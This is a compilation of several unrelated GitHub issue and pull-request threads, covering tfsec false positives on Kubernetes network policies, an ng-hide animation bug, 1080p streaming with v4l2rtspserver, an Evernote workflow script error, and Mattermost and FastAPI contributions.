We are seeing some possible inconsistencies or, at least, unclear warnings related to egress and ingress network policies.
In our setup we use multiple terraform modules.
For the sake of brevity, I will call it A and B. A sets up all the components of a Kubernetes clusters, while calling various smaller modules (B modules) that set up single namespaces, deploys, and services. We run tfsec . as part of the development process on both kind of modules.
We also run terraform init before calling tfsec, so tfsec can recursively check downloaded modules. Now, while usually on B modules tfsec runs fine, we're getting confusing warnings on the bigger A module. For example, we're deploying kubecost with the following policies:
resource "kubernetes_network_policy" "allow_kubecost_monitoring" {
  count = var.deploy_network_policies ? 1 : 0

  ...
  spec {
    egress {
      to {
        namespace_selector {
          match_labels = {
            name = var.namespace
          }
        }
        pod_selector {
          match_labels = {
            "app" : "appname"
          }
        }
      }
      ports {
        protocol = "TCP"
        port     = XXXXX
      }
    }

    egress {
      to {
        namespace_selector {
          match_labels = {
            name = var.namespace
          }
        }
        pod_selector {
          match_labels = {
            "app.kubernetes.io/name" : "name"
            "app.kubernetes.io/component" : "componentname"
          }
        }
      }
      ports {
        protocol = "TCP"
        port     = XXXXX
      }
      ports {
        protocol = "TCP"
        port     = XXXXX
      }
    }

    egress {
      to {
        namespace_selector {
          match_labels = {
            name = var.namespace
          }
        }
        pod_selector {
          match_labels = {
            "app.kubernetes.io/name" : "appname2"
          }
        }
      }
      ports {
        protocol = "TCP"
        port     = XXXXX
      }
      ports {
        protocol = "TCP"
        port     = XXXXX
      }
    }

    policy_types = ["Egress"]
  }
}

resource "kubernetes_network_policy" "allow_kubecost_ingress_appname" {
  count = var.deploy_network_policies && var.namespace != null ? 1 : 0

  ...
  spec {
    ...

    ingress {
      ports {
        port     = XXXXX
        protocol = "TCP"
      }
      from {
        namespace_selector {
          match_labels = {
            name = var.namespace
          }
        }
        pod_selector {
          match_labels = {
            k8s-app = "appname"
          }
        }
      }
    }

    policy_types = ["Ingress"]
  }
}

As you can see we have two resource blocks and the egress one defines multiple egress sub blocks.
When running on module B, tfsec is fine. When, however, module B is nested in module A, we get the warnings:
  [kubernetes-network-no-public-egress][HIGH] Resource 'kubernetes_network_policy.allow_kubecost_ingress[0]' allows all egress traffic by default

     171 | resource "kubernetes_network_policy" "allow_kubecost_ingress" {
     172 |   ....
  Impact:     Exfiltration of data to the public internet
  Resolution: Remove public access except where explicitly required
  More Info:
  - https://tfsec.dev/docs/kubernetes/network/no-public-egress#kubernetes/network

No public egress gets triggered in the ingress block, despite the fact we have multiple Egress policies set in another resource block.
Something similar happens when we set dynamic blocks in the network policy resource:
Result 2
  [kubernetes-network-no-public-egress][HIGH] Resource 'kubernetes_network_policy.network_policy[0]' allows all egress traffic by default
     234 | resource "kubernetes_network_policy" "network_policy" {
     235 |
     239 |   metadata {
     240 |     name      = "allow-${var.name}-cidrs"
     241 |     namespace = var.namespace
     242 |   }
     243 |
     244 |   spec {
     245 |     pod_selector {
     246 |       match_labels = var.pod_labels
     247 |     }
     248 |
     249 |     egress {
     250 |       dynamic "to" {
     251 |         for_each = toset(var.cidrs)
     252 |
     253 |         content {
     254 |           ip_block {
     255 |             cidr = to.value
     256 |           }
     257 |         }
     258 |       }
     259 |
     260 |       ports {
     261 |         protocol = "TCP"
     262 |         port     = XXXX
     263 |       }
     264 |     }
     265 |
     266 |     policy_types = ["Egress"]
     267 |   }
     268 | }
     269 |
  Impact:     Exfiltration of data to the public internet
  Resolution: Remove public access except where explicitly required
  More Info:
  - https://tfsec.dev/docs/kubernetes/network/no-public-egress#kubernetes/network
  - https://registry.terraform.io/providers/hashicorp/kubernetes/latest/docs/resources/network_policy#spec.ingress.from.ip_block.cidr

We are using hashicorp/kubernetes provider v2.4.1, that states here:

egress (...) If this block is omitted then this NetworkPolicy does not allow any outgoing traffic (and serves solely to ensure that the pods it selects are isolated by default)

ingress (...) If this block is omitted then this NetworkPolicy does not allow any outgoing traffic (and serves solely to ensure that the pods it selects are isolated by default)

To Reproduce
Steps to reproduce the behavior:

Use a module with multiple egresses/ingresses resources
Create a second module that consumes the first
Run terraform init
Run tfsec .

Expected behavior
Tfsec should be able to deal with multiple network policy settings working on the same namespace.
It also shouldn't send a warning for missing egress() and ingress() blocks on network policies resources, since those are considered safe according to the kubernetes provider's docs.
Additional context
Terraform v1.0.3
Tfsec v0.63.1
kubernetes provider v2.4.1

Please disregard, this was due to some internal inconsistencies in our code.


chapter_introduction/index

Job d2l-zh/PR-608/1 is complete.
Check the results at http://preview.d2l.ai/d2l-zh/PR-608/

Job d2l-zh/PR-608/2 is complete.
Check the results at http://preview.d2l.ai/d2l-zh/PR-608/

Job d2l-zh/PR-608/3 is complete.
Check the results at http://preview.d2l.ai/d2l-zh/PR-608/


ng-hide does work when using css keyframe sprite animations

When using CSS3 keyframe animations ng-hide does not work instantaneously but delayed.
CSS Sprite animation Code (stylus):
.spinner
  width 100%
  height 30px
  background-image url("../assets/images/spinner_sprite.png")
  animation play 1s steps(19) infinite
  background-repeat no-repeat
@keyframes play
  from
    background-position center 0px
  to
    background-position center -570px

Dirty Fix
.ng-hide { display: none !important; }

fixes the issue but does not feel right :/

Just a note, this bit me and ate a few hours of time :pizza: :clock10: , perhaps elevating a note about this in the ng-if, ng-show, ng-hide directive docs would prevent the pain for others.
More than willing to add the docs just let me know, thanks again for this great lib :palm_tree:

thanks @Narretz :clap:


problems with 1080p streaming

This maybe a raspi hw issue but it would be nice if v4l2rtspserver could help diagnose the problem
720p video looks great
./v4l2rtspserver -S1 -p8080  -F15 -H 720 -W 1440
when viewed with
vlc rtsp://<IP_ADDRESS>:8554/unicast
1080p video looks terrible
( lots of noise and the image seem to be cropped to a small area)
./v4l2rtspserver -S1 -p8080  -F15 -H 1080 -W 1920
I did increase GPU memory to 256M
(gpu_mem=256)
And added options to the /bcm2835_v4l2 modules
cat /sys/module/bcm2835_v4l2/parameters/*
0
2464
3280
-1,-1

Hi @robertmuth,
It could be just a network overflow, you could try to connect in tcp mode using:
vlc --rtsp-tcp rtsp://<IP_ADDRESS>:8554/unicast
Best Regards,
Michel.

The imx219 aka v2 camera will crop in 1080p mode..
1644x1232 is 4x4 binning but full sensor.
I use 1080p like a 2x digital zoom...
But also have problems with 1080p even with my nas


Can't open Note

When I run ens <querry> the results are right. But when I want to open one with pressing enter an error in the workflowdebugger is thrown:
[16:16:24.077] ERROR: alfred-evernote-workflow[Run Script] evernote:///view/230916389/s449/105847e3-30a6-dd29-8c20-b7462699d8b2/105847e3-30a6-dd29-8c20-b7462699d8b2/
The specific failing script is: openNoteWithNotelink.scpt:
// Applescript (Javascript)

function run(input) {

  if (!input) input = "";

  var evernote = Application('Evernote');
  evernote.activate();

  var query = input[0];

  console.log(query)

  const hasSpecialBracket = /\$\{.*\}/;

  if(hasSpecialBracket.test(query)) {
    query = input[1];
  }

  var note = evernote.findNote(query);
  evernote.openNoteWindow({ with: note });

}

When I try to run it in the Script Editor the following error is thrown:
Error -1708: Message not understood.

function run(input) {

  if (!input) input = "";

  var evernote = Application('Evernote');
  evernote.activate();

  var query = "evernote:///view/230916389/s449/105847e3-30a6-dd29-8c20-b7462699d8b2/105847e3-30a6-dd29-8c20-b7462699d8b2/";

  console.log(query)

  const hasSpecialBracket = /\$\{.*\}/;

  if(hasSpecialBracket.test(query)) {
    query = input[1];
  }

  var note = evernote.findNote(query);
  evernote.openNoteWindow({ with: note });
}

Could you try the above code in your Script Editor?
Does your note open?

As I already wrote:
When I try to run it in the Script Editor the following error is thrown:
Error -1708: Message not understood.
No, it doesn’t open the note.

As I already wrote:
When I try to run it in the Script Editor the following error is thrown:
Error -1708: Message not understood.
No, it doesn’t open the note.

I saw your comment.
The code I commented is not same with this workflow's script.
If your script editor throws same error though, please let me know.  (And pls let me know your mac version too)

I started working now. (The workflow works and the scripts both open Evernode).
Maybe I messed it up 2 days ago calling en > savecache and en > clearcache several times.

I started working now. (The workflow works and the scripts both open Evernode).
Maybe I messed it up 2 days ago calling en > savecache and en > clearcache several times.

I'm happy to hear you resolve the issue.


fmt() should add explicit decoration

Closes #53 (built on top of it), closes #54
This PR takes the approach that calling fmt should always fully fill in the leading/trailing fields to be explicit. A separate approach to fix #54 and fix formatting of built nodes is to fix the None formatting... which should still be done, ideally, but this is the approach that came more easily.
cc @cbiffle

Closing in favor of #56


🌐 Update Polish translation for docs/pl/docs/features.md

📝 Docs preview for commit 3b31ff0be694b9c477843a29e3c49de1fe9512a3 at: https://baf342b4.fastapitiangolo.pages.dev

Thanks @isulim! ☕
And thanks for the review @rafsaf 🤓
It seems this has conflicts with the latest version, would you be able to fix them?

As this PR had requested changes to be applied but has been inactive for a while, it's now going to be closed. But if there's anyone interested, feel free to create a new PR.


WIP: [MM-12741] Refactor emoji picker

Summary

[ ] Rewrite around of EmojiPicker with TypeScript
[ ] Rewrite around of EmojiPicker with FC/Hooks
[ ] Cleanup component tree
[ ] Virtualize emoji list using react-window
[ ] Code-split for emoji picker component
[ ] Fix a bug that moves to wrong emoji position when arrow keys down.
[ ] Benchmark

Ticket Link
GitHub: https://github.com/mattermost/mattermost-server/issues/10346
Jira: MM-12741
Related Pull Requests

Awaited #3866 to use react-intl's hooks API like useIntl().

This issue has been automatically labelled "stale" because it hasn't had recent activity.
A core team member will check in on the status of the PR to help with questions.
Thank you for your contribution!
/cc @jasonblais @hanzei

Hi @cometkim! 👋 Let us know if you have any questions - sounds like this might have been a starter PR for initial review based on a note here? https://github.com/mattermost/mattermost-server/issues/10346#issuecomment-530509871

Hey @jasonblais , currently I'm working on this only weekend. so this would be delayed.
I will make some progress and mention you.

No worries! Thank you for the heads up 👍

Awaiting #3866 PR to be merged.

Any update on this?
Emoji picker freezes the app 50% of the time for me.

Hey @HarshaLaxman, thank you for watching at this.
I've been very busy at work for couple months, so would resume any contribution later this month.
And probably going to go ahead from react-bootstrap related issues first because It blocks the use of react's context API. you can see the context from https://github.com/mattermost/mattermost-webapp/pull/3866 and https://github.com/mattermost/mattermost-webapp/pull/4185#issuecomment-555116758

Hi @cometkim, anything we can help with here?

Hi @esethna. Since it hasn't been in a while, this PR will be rewritten from scratch. (Another contributor may take it)
Sharing here some of what I've researched before.
Approaches
I benchmarked a similar component before starting this.
emoji-mart vs slack
Emoji Mart takes full advantage of HTML/CSS features, so there are almost no JS re-rendering. the initial mount/unmount cost is bit high, but the DOM structure is that not complicated, so it shows quite good performance with less codes and also accessibility is quite good because it is based on basic HTML elements.
Slack seems to have chosen Virtualization for more interaction, and sticky section headers etc. have also been implemented directly using JS. Since the DOM structure is not intuitive, it seems like a hack for the A11y will be necessary, but it could perform better and may be better if it optimizes the re-render more.
I suggest using the community version of emoji-mart for maintainability.
License issue
Another issue is the fact that the images contained in the emoji data used by Mattermost violate Apple's license terms. It is important to understand that contributing to code that uses it poses a risk to individual contributors.
So I want to migrate it to open source emoji-data and use other images/emoji-fonts or just system fonts, but Mattermost's emoji codebase is pretty complicated.
It seems better suited for the core team. After resolving issues across the webapp and the redux, it will be easier for other contributors to improve the emoji picker.

Thanks for the details @cometkim, closing this PR. I agree it would make sense to bring this in the core team